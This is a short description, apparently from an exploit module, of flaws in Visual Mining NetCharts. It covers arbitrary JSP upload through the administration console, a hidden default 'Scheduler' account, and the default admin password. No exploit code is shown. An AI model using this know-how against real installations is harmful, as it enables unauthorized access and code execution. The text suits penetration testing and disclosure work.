|
|
This module exploits multiple vulnerabilities in Visual Mining NetCharts.
|
|
First, a lack of input validation in the administration console permits
|
|
arbitrary jsp code upload to locations accessible later through the web
|
|
service. Authentication is typically required, however a 'hidden' user is
|
|
available by default (and non-editable). This user, named 'Scheduler',
|
|
can only login to the console after any modification in the user
|
|
database (a user is added, admin password is changed etc). If the
|
|
'Scheduler' user isn't available valid credentials must be supplied. The
|
|
default Admin password is Admin.
